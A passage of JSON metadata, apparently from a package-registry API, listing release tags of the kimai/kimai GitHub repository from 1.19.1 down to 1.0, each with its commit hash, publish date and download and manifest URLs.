kimai/tags/1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.1/manifests"},{"name":"1.19","sha":"6c1d79fe5b658aaa50736e8ca07bd355c06888a3","kind":"commit","published_at":"2022-03-21T22:42:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19","html_url":"https://github.com/kimai/kimai/releases/tag/1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19/manifests"},{"name":"1.18.2","sha":"f7480902b48350392bac74ed34ab74abeaea89f4","kind":"commit","published_at":"2022-03-11T22:50:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2/manifests"},{"name":"1.18.1","sha":"b08c1565525c6aedcd4730b051bdc7e58c41fadc","kind":"commit","published_at":"2022-02-28T15:32:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1/manifests"},{"name":"1.18","sha":"42963ead5c411a79ea830c52bca0926af9056cac","kind":"commit","published_at":"2022-02-27T12:36:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18","html_url":"https://github.com/kimai/kimai/releases/tag/1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18/manifests"},{"name":"1.17.1","sha":"7a6fab8624556d7b2c8009f74b0a815fb0810bc1","kind":"commit","published_at":"2022-01-25T13:07:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1/manifests"},{"name":"1.17","sha":"9e320674c174b3f5e6eede6cc7cc95ece1579207","kind":"commit","published_at":"2022-01-23T14:49:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17","html_url":"https://github.com/kimai/kimai/releases/tag/1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17/manifests"},{"name":"1.16.10","sha":"9731023014e0b00bfbbc7cfe1bf8069bda670227","kind":"commit","published_at":"2022-01-01T17:12:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10/manifests"},{"name":"1.16.9","sha":"3621b8c27c57539fbfbf8605ddc111c1385fa576","kind":"commit","published_at":"2021-12-15T16:56:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9/manifests"},{"name":"1.16.8","sha":"573fa9f7f3c2edae40299365e6912ccf1dc09bd7","kind":"commit","published_at":"2021-12-09T00:36:58.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8/manifests"},{"name":"1.16.7","sha":"22ce6b047aa63f0c8a75e68182dbd9dd5dd99eff","kind":"commit","published_at":"2021-12-08T21:15:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7/manifests"},{"name":"1.16.6","sha":"9491f07ade97a78a724b7e1cac2042c0893f9e86","kind":"commit","published_at":"2021-11-29T14:57:39.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6/manifests"},{"name":"1.16.5","sha":"0464054a2b6a877916bad9964470c8718560ad39","kind":"commit","published_at":"2021-11-24T11:55:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5/manifests"},{"name":"1.16.4","sha":"b0621642771f65ae297942ca490bf5cba6aaf741","kind":"commit","published_at":"2021-11-24T09:30:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4/manifests"},{"name":"1.16.3","sha":"ff9acab0fc81f0e9490462739ef15fe4ab028ea5","kind":"commit","published_at":"2021-11-21T15:41:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3/manifests"},{"name":"1.16.2","sha":"b28e9c120c87222e21a238f1b03a609d6a5d506e","kind":"commit","published_at":"2021-11-18T11:33:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2/manifests"},{"name":"1.16.1","sha":"c858edf5c9f7cbf7360c1be51aaeeb51844da1d6","kind":"commit","published_at":"2021-11-16T20:48:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1/manifests"},{"name":"1.16","sha":"99ebd1d5033b2e340a98344787c70df231defe49","kind":"commit","published_at":"2021-11-16T11:09:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16","html_url":"https://github.com/kimai/kimai/releases/tag/1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16/manifests"},{"name":"1.15.6","sha":"64893e0a953ae5fef82976bd7b7d958bf68c0d97","kind":"commit","published_at":"2021-10-17T22:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6/manifests"},{"name":"1.15.5","sha":"bbf25823b804e31fe75570e2dcb2bf3d905e31b6","kind":"commit","published_at":"2021-10-13T16:31:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5/manifests"},{"name":"1.15.4","sha":"84e25851d3b06c6b7f5dbb30e33af47ca95ad812","kind":"commit","published_at":"2021-10-07T10:40:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4/manifests"},{"name":"1.15.3","sha":"ccb184b17faa63c91249dbfc2812e195ed19e3c2","kind":"commit","published_at":"2021-10-05T13:30:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3/manifests"},{"name":"1.15.2","sha":"4bb9edb2b52d5f4870407d68d4d0b0108abaea15","kind":"commit","published_at":"2021-09-24T13:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2/manifests"},{"name":"1.15.1","sha":"934a7855b96a9fd8470e3d705c1140d759a75571","kind":"commit","published_at":"2021-09-18T11:15:23.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1/manifests"},{"name":"1.15","sha":"baff2d78d9179d5a1d8a7ec9aef63e80ecd7dfc7","kind":"commit","published_at":"2021-09-16T22:58:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15","html_url":"https://github.com/kimai/kimai/releases/tag/1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15/manifests"},{"name":"1.14.3","sha":"df6bd30d0391aaf70ea84f4d5e7f088e2a48b858","kind":"commit","published_at":"2021-05-21T13:27:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3/manifests"},{"name":"1.14.2","sha":"70fd0ae269d3be1ac91798bdbc28ae5d6788e608","kind":"commit","published_at":"2021-05-16T18:36:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2/manifests"},{"name":"1.14.1","sha":"dad1b8b772947f1596175add1b4f33b791705507","kind":"commit","published_at":"2021-04-29T16:29:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1/manifests"},{"name":"1.14","sha":"bb94b11e3763e4cb162a99e281dee79217a167e1","kind":"commit","published_at":"2021-04-23T15:06:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14","html_url":"https://github.com/kimai/kimai/releases/tag/1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14/manifests"},{"name":"1.13","sha":"9eb25c412e5f1db7cadd0260455cc39f1f0390a6","kind":"commit","published_at":"2021-02-06T16:31:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.13","html_url":"https://github.com/kimai/kimai/releases/tag/1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13/manifests"},{"name":"1.12","sha":"e21fc656e4202626e6341226d33ab9ddcee3d74a","kind":"commit","published_at":"2020-12-13T23:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.12","html_url":"https://github.com/kimai/kimai/releases/tag/1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12/manifests"},{"name":"1.11.1","sha":"4a945253209bf3b1d1257c1f6bf7362a23474844","kind":"commit","published_at":"2020-10-28T19:35:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1/manifests"},{"name":"1.11","sha":"e24c647b1883ca656d232e54e07900cbab0db09e","kind":"commit","published_at":"2020-10-26T11:55:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11/manifests"},{"name":"1.10.2","sha":"b69ea0648c8c8e241f36851cbafff43e0f349269","kind":"commit","published_at":"2020-08-30T10:19:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"a2585163220802bd256837cf80eecaa6f3183ec0","kind":"commit","published_at":"2020-08-27T09:48:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1/manifests"},{"name":"1.10","sha":"c2c4f087e497a12f8f1dd888e33b851d5d4f4788","kind":"commit","published_at":"2020-08-22T17:15:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10/manifests"},{"name":"1.9","sha":"46a7b13293e2bc966ee6ce3fdda2b4d7f0196343","kind":"commit","published_at":"2020-04-25T14:34:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9/manifests"},{"name":"1.8","sha":"b8273c4441dd6d6245bd34ef6e2ef637a3e8a370","kind":"commit","published_at":"2020-03-01T13:25:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8/manifests"},{"name":"1.7","sha":"85a35a30632aa0783c5026d830bdf575f88fc5d9","kind":"commit","published_at":"2020-01-19T20:50:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7/manifests"},{"name":"1.6.2","sha":"984c852ab6fb0c83e2059e90a2a53a92babd43ae","kind":"commit","published_at":"2019-12-02T09:57:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"fdf4fdfb6ab7e83a684d1a674669a8a86898a1f9","kind":"commit","published_at":"2019-11-26T18:32:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1/manifests"},{"name":"1.6","sha":"724eb9c6584e820642eb6c32fd4de1ecfc5b76d8","kind":"commit","published_at":"2019-11-24T14:29:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6/manifests"},{"name":"1.5","sha":"140fa4b7c0bf2fd4b9111685f4c54e8cd2168d55","kind":"commit","published_at":"2019-11-03T16:31:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5/manifests"},{"name":"1.4.2","sha":"de533e7031ae194b35f6a638cd95f5c94c516796","kind":"commit","published_at":"2019-10-14T10:30:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"ae6ed3f23f1ab49187acf5d209e9ef6fb7a44cf6","kind":"commit","published_at":"2019-10-07T14:04:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1/manifests"},{"name":"1.4","sha":"32aa209b7553b8827b8009ba7f389789842458bf","kind":"commit","published_at":"2019-10-04T05:36:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4/manifests"},{"name":"1.3","sha":"8f2b82b8326846f43bde5a8fd0db78970f1bd625","kind":"commit","published_at":"2019-09-11T22:36:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3/manifests"},{"name":"1.2","sha":"94f8159fdc3c5f6c2153082a2457161790a90ec3","kind":"commit","published_at":"2019-08-27T16:37:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2/manifests"},{"name":"1.1","sha":"12803b39578b58deefe3ce65d23115401e181ae0","kind":"commit","published_at":"2019-07-24T17:38:46.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1/manifests"},{"name":"1.0.1","sha":"f0822fa2b12b7fb4a74d028d8fc8024f49b17602","kind":"commit","published_at":"2019-07-05T17:25:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1/manifests"},{"name":"1.0","sha":"94e49ea86fd94c8e5263e